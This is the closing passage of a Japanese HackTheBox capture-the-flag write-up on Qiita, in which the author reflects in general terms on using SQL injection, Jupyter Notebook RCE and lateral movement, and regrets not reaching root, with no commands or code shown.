今回のマシンはかなりボリュームが多く大変でした。最初のSQLインジェクションでは、必死になってパスワードを探してしまい、なかなかコマンドを実行するフェーズに移ることができませんでした。やっと初期シェルを取得できた!と思ったら、そこから横移動が2回も必要だったので、体力勝負みたいなところもありました笑。
ただ内容はかなり面白かったです。SQLでコマンドを実行させたり、Jupyter NotebookでRCEを発火させたりと、いつもとは少し違った色をしたマシンだなと思います。
ただ最後一つだけ言うことがあるとすると、ルートのシェルを取得したかったです笑
苦労した分、最後までしっかりと攻略したかったですが、しょうがないですね笑
今後もHackTheBoxのWriteUp投稿していきますので、見ていただけると嬉しいです!
最後まで閲覧していただき、ありがとうございました~!

2
2
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
2